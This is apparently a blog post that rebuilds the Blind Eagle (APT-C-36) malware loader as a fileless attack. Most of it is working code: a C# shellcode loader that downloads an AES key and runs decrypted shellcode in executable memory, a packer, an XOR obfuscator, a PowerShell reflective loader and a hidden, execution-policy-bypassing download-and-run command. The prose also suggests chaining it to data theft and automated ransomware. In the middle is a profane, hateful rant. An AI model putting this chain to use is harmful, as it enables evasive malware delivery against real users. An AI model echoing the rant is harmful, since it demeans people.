Blind Eagle APT-C-36
“All right, so let’s go over the APT-C-36 (Blind Eagle) attack. Organizations like Qihoo 360 tend to be very speculative and conspiratorial in the way they write up Western Advanced Persistent Threats (APTs). Because of that, it was very puzzling how they handled this specific alleged APT.
Now, the ‘APT-C’ designation is a Chinese naming convention for Western-linked threats. However, in several Twitter write-ups, it was noted that the threat actor known as Blind Eagle (APT-C-36) is actually linked elsewhere. I’ve mentioned before that attribution to the Western Hemisphere is almost impossible because an actor could automate an attack to look like it originated from the West—provided they have a correct state machine, as I wrote in a previous article.
Moving forward, the Blind Eagle threat actor calculated offsets from a polyglot file (or .dat file) and used a fixed offset to deploy its spear-phishing payloads. But was it really efficient? Could they have used egg hunting (like ‘w00t w00t’ or ‘EGGY EGGY’) instead?”
Why is this so evasive
“Oh, because of the speculation, there’s quite a bit of pros and cons. It’s true that if you create a fixed offset, the stealth will be higher because it appears as a nonsensical blob of data. It was literally a .dat file. .dat is actually a common extension used for temporary files, as well as configuration files for legitimate applications, to store data.
It’s been around since Windows 2000, if not earlier, right? It’s just a generic way of classifying high-entropy data. It could be a bunch of garbage that we don’t understand, and yet it likely has a handle—using a mutex or a thread—to manage what was significant within that .dat file.
That being said, you can load as much malware as you want into a .dat file. Because modern endpoint protection requires some level of operational dependency or uptime, you can’t simply flag every .dat file. At worst, it might throw up an alert saying a high-entropy file was dropped and a file handle was opened to it. But that, by itself, is far too broad of a detection rule.”
Improving Blind Eagle Loaders for Efficiency
“However, the Blind Eagle loader required multiple malicious files to be dropped to exist, including the actual loader that scans from a specific fixed offset. I believe the actual offset is supplied as a hexadecimal value to the original loader to enable the malware to run.
We could have done this much more efficiently. The only things we really need to supply are:
The URL to the second-stage AES key.
The known shellcode size.
We can’t just keep scanning all the way to the end of the file; we would end up decrypting a bunch of garbage that would just cause the shellcode or malicious DLL to crash. For this reason, we are improving upon the Blind Eagle attack by making it fileless.
First, we will use a C# loader Proof of Concept (PoC). Then, we will prove that it works in the video, and finally, we will reflectively load it using .NET Assembly Reflection with the same arguments: the URL to the key and the shellcode size. This way, the loader knows exactly how much of this offset to carve—which, in this example, is 109,872 bytes—because it’s just a MessageBox DLL payload.”
Abusing this with our state machines
“Before we show you the source code—and I believe we documented this well enough that we are going to provide the compilation command for the demonstration—we want to point out that many attackers these days use what I call LOTC, or ‘Living off the Cloud.’ There are even webpages dedicated to abusing cloud services to create reverse proxies and C2 frameworks; it’s incredible how much you can abuse legitimate cloud infrastructure.
Before we move on, we can combine our known key and .dat encrypted shellcode file with our state machine. As mentioned in our previous article, we can use a state machine to automate info-stealing and file exfiltration, and then send the signal for an automated ransomware attack through polling of the automated implant.”
Also fuck Cloudflare. You have been gloating about all this fucking good shit but you can’t explain how to maintain a persistent webpage that I am forced to put the C2 state machine controls on Netlify or Vercel or Pastebin? Fuck. Explains why you may oppose drink protectors. Bunch of fucking street shitting, loud-mouthed sexual predators. You spend more time spiking drinks than actually fixing the wrangler tool.
Code
Message Box Payload
clang-cl /LD msgbox.cpp /Fe:msgbox.dll /link user32.lib /SUBSYSTEM:WINDOWS and then use sRDI/Python/ConvertToShellcode.py to make msgbox.bin so you can run packer.py on it
#include <windows.h>
// This is the entry point that sRDI will trigger
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
switch (ul_reason_for_call) {
case DLL_PROCESS_ATTACH:
// The actual "Payload"
MessageBoxA(NULL,
"Polyglot sRDI Extraction Successful!\n\n"
"The DLL was carved, decrypted, and loaded manually.",
"Gemini PoC",
MB_OK | MB_ICONINFORMATION | MB_SYSTEMMODAL);
break;
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
// Optional: Export a dummy function if your sRDI converter requires one
extern "C" __declspec(dllexport) void VoidFunc() {
return;
}
C# Loader (To be reflected)
csc.exe /target:exe /out:loader.exe /platform:x64 /optimize+ Program.cs
using System;
using System.IO;
using System.Linq;
using System.Text;
using System.Net;
using System.Security.Cryptography;
using System.Runtime.InteropServices;
class sRDILoader
{
const string PolyglotFile = "data.dat";
const string EggSig = "EGGEGG";
static void Main(string[] args)
{
ServicePointManager.ServerCertificateValidationCallback = delegate { return true; };
if (args.Length < 2)
{
Console.WriteLine("Usage: loader.exe <URL_TO_KEY> <PAYLOAD_SIZE>");
return;
}
string keyUrl = args[0];
uint payloadSize = uint.Parse(args[1]);
try
{
Console.WriteLine($"[*] Fetching key from: {keyUrl}");
byte[] aesKey = FetchRemoteKey(keyUrl);
Console.WriteLine("[+] Key ingested.");
byte[] encryptedBlob = HuntEgg(PolyglotFile, EggSig, payloadSize);
if (encryptedBlob == null) return;
byte[] decryptedShellcode = Decrypt(encryptedBlob, aesKey);
Console.WriteLine("[+] Decryption successful.");
ExecuteShellcode(decryptedShellcode);
}
catch (Exception ex)
{
Console.WriteLine($"[-] CRITICAL ERROR: {ex.Message}");
}
// Final safety net: Window stays open even if thread crashes
Console.WriteLine("\n[!] Execution flow reached end. Press Enter to exit...");
Console.ReadLine();
}
static byte[] FetchRemoteKey(string url)
{
using (WebClient client = new WebClient())
{
client.Headers.Add("user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64)");
byte[] fullData = client.DownloadData(url);
byte[] key = new byte[32];
Buffer.BlockCopy(fullData, 0, key, 0, 32);
return key;
}
}
static byte[] HuntEgg(string path, string egg, uint size)
{
if (!File.Exists(path)) { Console.WriteLine("[-] data.dat missing."); return null; }
byte[] fileBytes = File.ReadAllBytes(path);
byte[] eggBytes = Encoding.ASCII.GetBytes(egg);
for (int i = 0; i <= (fileBytes.Length - eggBytes.Length); i++)
{
bool match = true;
for (int j = 0; j < eggBytes.Length; j++) {
if (fileBytes[i + j] != eggBytes[j]) { match = false; break; }
}
if (match)
{
Console.WriteLine($"[+] Egg found at offset 0x{i:X}");
byte[] payload = new byte[size];
Buffer.BlockCopy(fileBytes, i + eggBytes.Length, payload, 0, (int)size);
return payload;
}
}
return null;
}
static byte[] Decrypt(byte[] ciphertext, byte[] key)
{
using (Aes aes = Aes.Create())
{
aes.Key = key;
aes.IV = new byte[16];
aes.Mode = CipherMode.CBC;
aes.Padding = PaddingMode.None;
using (var decryptor = aes.CreateDecryptor())
{
return decryptor.TransformFinalBlock(ciphertext, 0, ciphertext.Length);
}
}
}
static void ExecuteShellcode(byte[] sc)
{
IntPtr hKernel = GetModuleHandle("kernel32.dll");
// VirtualAlloc (RWX = 0x40)
var pAlloc = GetProcAddress(hKernel, "VirtualAlloc");
var VirtualAlloc = Marshal.GetDelegateForFunctionPointer<VirtualAllocDelegate>(pAlloc);
IntPtr baseAddr = VirtualAlloc(IntPtr.Zero, (uint)sc.Length, 0x1000, 0x40);
if (baseAddr == IntPtr.Zero) {
Console.WriteLine("[-] VirtualAlloc failed. GetLastError: " + Marshal.GetLastWin32Error());
return;
}
Marshal.Copy(sc, 0, baseAddr, sc.Length);
Console.WriteLine($"[+] Payload copied to 0x{baseAddr.ToInt64():X}");
// CreateThread
var pThread = GetProcAddress(hKernel, "CreateThread");
var CreateThread = Marshal.GetDelegateForFunctionPointer<CreateThreadDelegate>(pThread);
uint tid;
IntPtr hThread = CreateThread(IntPtr.Zero, 0, baseAddr, IntPtr.Zero, 0, out tid);
if (hThread != IntPtr.Zero)
{
Console.WriteLine($"[+] Thread {tid} spawned. Blocking process...");
var pWait = GetProcAddress(hKernel, "WaitForSingleObject");
var WaitForSingleObject = Marshal.GetDelegateForFunctionPointer<WaitForSingleObjectDelegate>(pWait);
// INFINITE Wait
uint result = WaitForSingleObject(hThread, 0xFFFFFFFF);
Console.WriteLine($"[*] WaitForSingleObject returned code: {result} (Thread finished or crashed)");
}
else
{
Console.WriteLine("[-] CreateThread failed. GetLastError: " + Marshal.GetLastWin32Error());
}
}
#region Win32 Helpers
[DllImport("kernel32.dll", SetLastError = true)]
public static extern IntPtr GetModuleHandle(string lpModuleName);
[DllImport("kernel32.dll", SetLastError = true)]
public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
delegate IntPtr VirtualAllocDelegate(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
delegate IntPtr CreateThreadDelegate(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, out uint lpThreadId);
delegate uint WaitForSingleObjectDelegate(IntPtr hHandle, uint dwMilliseconds);
#endregion
}
Packer.py (to generate the data.dat file and the stage1.key) host using python -m http.server 80
import sys
import os
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
from Crypto.Random import get_random_bytes
def pack_payload(egg_input, shellcode_path, carrier_img=None):
# 1. Configuration
# Doubling the input string as requested (EGG -> EGGEGG)
marker = (egg_input + egg_input).encode('utf-8')
key_file = "stage1.key"
output_dat = "data.dat"
null_iv = b'\x00' * 16
if not os.path.exists(shellcode_path):
print(f"[-] Error: Shellcode file {shellcode_path} not found.")
return
# 2. Generate and Save 32-byte AES Key
aes_key = get_random_bytes(32)
with open(key_file, 'wb') as f:
f.write(aes_key)
print(f"[+] 32-byte Key generated and saved to: {key_file}")
# 3. Encrypt the Shellcode
with open(shellcode_path, 'rb') as f:
raw_shellcode = f.read()
# Padding to 16-byte blocks for AES
padded_data = pad(raw_shellcode, 16)
cipher = AES.new(aes_key, AES.MODE_CBC, iv=null_iv)
encrypted_payload = cipher.encrypt(padded_data)
# 4. Create the Polyglot (.dat)
# We'll use random "junk" data to act as the PNG/Carrier if one isn't provided
if carrier_img and os.path.exists(carrier_img):
with open(carrier_img, 'rb') as f:
junk_prefix = f.read()
else:
print("[*] No carrier image provided, using 1024 bytes of random noise.")
junk_prefix = get_random_bytes(1024)
# Combine: [Junk] + [EGGEGG] + [Encrypted Payload]
final_data = junk_prefix + marker + encrypted_payload
with open(output_dat, 'wb') as f:
f.write(final_data)
# 5. Output Stats for the Loader
print("-" * 30)
print(f"[+] Polyglot created: {output_dat}")
print(f"[+] Marker used: {marker.decode()}")
print(f"[+] Payload Size: {len(encrypted_payload)}")
print("-" * 30)
print(f"[*] Command for Loader: loader.exe {len(encrypted_payload)}")
if __name__ == "__main__":
if len(sys.argv) < 3:
print("Usage: python pack.py <EGG_STRING> <SHELLCODE_BIN> [OPTIONAL_CARRIER_IMG]")
print("Example: python pack.py EGG msgbox.bin wallpaper.jpg")
else:
egg_str = sys.argv[1]
sc_path = sys.argv[2]
carrier = sys.argv[3] if len(sys.argv) > 3 else None
pack_payload(egg_str, sc_path, carrier)
Fileless Blind Eagle Encoder, copy and paste output into the next code, filelessblindeagle.ps1
import base64
with open("loader.exe", "rb") as f:
data = f.read()
xor_key = 0x41
encoded = bytearray([b ^ xor_key for b in data])
# Base64-encode the XOR-obfuscated data
encoded_base64 = base64.b64encode(encoded).decode('utf-8')
print(encoded_base64)
filelessblindeagle.ps1, like the C# Program this takes it’s two arguments, the URL to the key and the shellcode size after dropping/downloading data.dat to the close
Then start up the attack with this command
powershell -w hidden -ep bypass -NoExit -c “$s = IWR -useb http://192.168.122.1/filelessblindeagle.ps1; & ([scriptblock]::Create($s)) http://192.168.122.1/stage1.key 109872; Start-Sleep -Seconds 60”
# Blind Eagle Pivot Loader
# Arguments: $args[0] = KeyUrl, $args[1] = PayloadSize
function Load-BlindEagle {
param (
[string]$encodedBase64,
[byte]$xorKey = 0x41
)
# Decode Base64 and XOR deobfuscate
$obfuscatedBytes = [System.Convert]::FromBase64String($encodedBase64)
$decodedBytes = New-Object byte[] $obfuscatedBytes.Length
for ($i = 0; $i -lt $obfuscatedBytes.Length; $i++) {
$decodedBytes[$i] = $obfuscatedBytes[$i] -bxor $xorKey
}
# Load into memory via reflection
return [System.Reflection.Assembly]::Load($decodedBytes)
}
# --- 1. The XORed base64 payload from your Python script ---
$loaderBlob = "PASTE XORED BASE64 PAYLOAD HERE"
# --- 2. Load the Loader EXE into memory ---
$global:EagleAssembly = Load-BlindEagle -encodedBase64 $loaderBlob
# --- 3. Execute the Loader with passed arguments ---
function Invoke-Eagle {
param (
[string]$KeyUrl,
[string]$Size
)
if (-not $KeyUrl -or -not $Size) {
Write-Host "[-] Usage: IEX(IWR loader.ps1) <KeyUrl> <Size>" -ForegroundColor Yellow
return
}
# Map to C# Main(string[] args)
$entry = $global:EagleAssembly.EntryPoint
$loaderArgs = [string[]]@($KeyUrl, $Size)
# Fire the EntryPoint
$entry.Invoke($null, @(,$loaderArgs)) | Out-String
}
# --- 4. Main Execution Trigger ---
# This pulls the positional arguments from the IWR/IEX command line
Invoke-Eagle -KeyUrl $args[0] -Size $args[1]
a
a









